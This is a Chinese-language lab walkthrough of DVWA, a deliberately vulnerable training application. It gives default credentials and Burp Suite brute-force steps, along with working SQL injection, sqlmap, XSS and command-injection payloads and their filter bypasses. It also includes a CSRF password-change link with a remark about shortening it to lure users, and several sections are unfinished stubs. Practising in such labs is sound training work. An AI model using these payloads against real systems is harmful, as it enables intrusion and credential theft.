DVWA


一、环境配置

1 下载

official::phpstudy

official::DVWA

DVWA的默认账号和密码:

用户名 密码
admin password
gordonb abc123
1337 charley
pablo letmein
smithy password

2 配置数据库

  1. 复制一个./config/config.inc.php.dist,改名为config.inc.php
  2. 打开,修改其中的数据库账号密码为对应的账号密码。

二、Brute Force

1 Low

流程:

  1. 在网站中输入任意数据,使用burp suite进行抓包。
  2. 将数据包发给Intruder。
  3. Positions:攻击参数选定username,password,攻击方式选择集束炸弹。
  4. Payloads:载入字典进行攻击。
  5. 点击结果中的长度,正确的页面的长度和错误的是不一样的。找到不同的长度的界面,记下用户名和密码后到界面中进行验证。

由源码得也可以直接username = admin' and 1=1#进行登录(密码可为空)

2 Medium

对sql注入进行了过滤。直接按照Low的方式爆破即可。

3 High

  1. 正常抓包,发现包中携带token信息。
  2. 通过重发器修改账号或密码重复,发现响应包中携带了token,猜测该响应包的token的value是下一次的token值
  3. 将包发送给Intruder,选定username,password,token。因为每次的token只用一次,所以攻击方式选择音叉。
  4. Payloads:username和password不变。token的有效载荷类型选择递归搜索。
  5. Positions:Payload选择3(token),在请求引擎中修改线程数为1(因为token要由上一个请求产生)。在Grep-Extract中点击添加,找到<input type="hidden" name="token" value="..." />,选中value中的值,点击OK。
  6. 在Positions中将刚刚的token作为Payload3的初始数据填入。
  7. 攻击,验证结果。

4 Impossible

通过观察源代码发现,登录3次会锁定15s,且数据库查询使用的是PDO(PHP Data Object)机制防御sql注入。


三、SQL Injecton

报错:Illegal mix of collations for operation 'UNION'

解决方案:打开phpMyAdmin,修改dvwa库的排序规则为utf8_general_ci,同时要选中更改所有表排序规则,更改所有列的排序规则。

1 Low

# 1.注入点
?id=1' -- &Submit=Submit
# 不报错是字符型,报错是数字型

# 2.列数
?id=1' order by 3 -- &Submit=Submit

# 3.报错点
?id=1' union select 1,2 -- &Submit=Submit

# 4.库名
?id=1' union select database(),2 -- &Submit=Submit

# 5.表名
?id=1' union select group_concat(table_name),2 from information_schema.tables where table_schema = database() -- &Submit=Submit

# 6.列名
?id=1' union select group_concat(column_name),2 from information_schema.columns where table_schema = database() and table_name = "users" -- &Submit=Submit

# 7.数据
?id=1' union select group_concat(user," ",password),2 from users-- &Submit=Submit

2 Medium

# 1.注入点
?id=1 -- &Submit=Submit
# 报错是数字型

# 6.列名
id=1 union select group_concat(column_name),2 from information_schema.columns where table_schema = database() and table_name = 0x64767761 -- &Submit=Submit
# 因为该难度有引号绕过,所以可以把表名换成十六进制进行绕过。

# 7.数据
id=1 union select user,password from users-- &Submit=Submit

# 其他同理于Low

3 High

# 1.注入点
1' and '1' = '2
# 判断出是字符型

# 2.列数
1' order by 3
1' order by 3#

# 其他同理于Medium

4 Impossible

数据库查询使用的是PDO(PHP Data Object)机制防御sql注入。


四、[ing]SQL Injection (Blind)

1 Low

# 手动


# sqlmap工具
# 库
python sqlmap -u "http://172.22.124.198/DVWA/vulnerabilities/sqli_blind/?id=id%3D1&Submit=Submit#" --cookie="PHPSESSID=p82hv3qkciumhcvuuhkt35qp5a; security=low" --batch --dbs

# 表
python sqlmap -u http://172.22.124.198/DVWA/vulnerabilities/sqli_blind/ -D 'DBname' --tables --form --batch
# 列
python sqlmap -uhttp://172.22.124.198/DVWA/vulnerabilities/sqli_blind/ -D 'DBname' -T 'table' --columns --form --batch
# 数据
python sqlmap -u http://172.22.124.198/DVWA/vulnerabilities/sqli_blind/ -D 'DBname' -T 'table' -C 'column_1 , column_2' --dump --form --batch

2 Medium

3 High

4 Impossible


五、XSS (Reflected)

1 Low

直接用最常见的payload:?name=<script>alert('111')</script>

2 Medium

输入普通payload发现script和<>没有了。然后输入img src onerror发现会有回显。

所以直接使用:?name=<img src="1" onerror=alert('111');>即可。

此题也可以大小写或双写绕过。

<sCript>alert("123")</SCript>

<scr<script>ipt>alert("123")</script>

3 High

此题源码中有一个scirpt的正则匹配,所以大小写和双写无效。但是图片构造一样有效。

所以也可以用:?name=<img src="1" onerror=alert('111');>

4 Impossible

使用了函数htmlspecialchars()对特定字符进行实体化,且内容不是插在标签内部,无法闭合标签。

六、XSS (Stored)

1 Low

直接输入:<script>alert('111')</script>发现有长度限制,直接F12改前端代码。

最后发现Name和Message都会触发存储型XSS。

2 Medium

先改前端长度,再输入Low的payload,发现Name和Message的<script>都不见了,并且Message还加上了反斜杠。

测试大小写和双写,成功。

测试发现Name可以注入,但是Message不行。

3 High

同理反射型,用<img src="1" onerror=alert('123');>即可。

测试发现Name可以注入,但是Message不行。

4 Impossible

同理反射型。

七、XSS (DOM)

1 Low

直接:?default=<script>alert('123')</script>成功。

2 Medium

输入?default=<script>,发现他会默认选择English,说明应该是对<script>有过滤。

输入</option>,F12查看源码,发现可以闭合标签。所以可以把标签全部闭合,然后使用img标签报错产生漏洞。

所以payload:</option></select><img src='1' onerror=alert('123'); />

3 High

直接输入</option>,发现选择了English,说明<>很可能被过滤了。

查看源码,发现是白名单,仅限指定的字符。

所以可以用如下payload:?default=# <script>alert('xss')</script>绕过服务器检测。(被注释的内容不会发给服务器,但是会在前端被执行)

4 Impossible

代码在前端被编码不执行,服务器不进行处理。

八、CSRF

1 Low

任意输入密码,发现了URL中GET请求的参数。构造payload包:http://127.0.0.1/dvwa/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#。之后可以再网上将其转化成短连接,然后引诱用户点击。当用户登录了该网站并点击了链接时,密码就会被改变。

2 Medium

>

...

3 High

>

...

4 Impossible

>

...

九、Command Injection

问题:乱码。

解决方案:进入DVWA\dvwa\includes\dvwaPage.inc.php,修改所有的charset=utf-8charset=gb2312

1 Low

没有过滤,直接:127.0.0.1&dir

2 Medium

源码发现过滤了&&,;直接:127.0.0.1&dir

3 High

大部分字符会被过滤,但是| 没有,因为源码是|,在|后面还有个空格,所有payload中的|后面没有空格即可 127.0.0.1|dir

4 Impossible

对IP严格限定了数字,无法绕过。

十、

1 Low

>

...

2 Medium

>

...

3 High

>

...

4 Impossible

>

...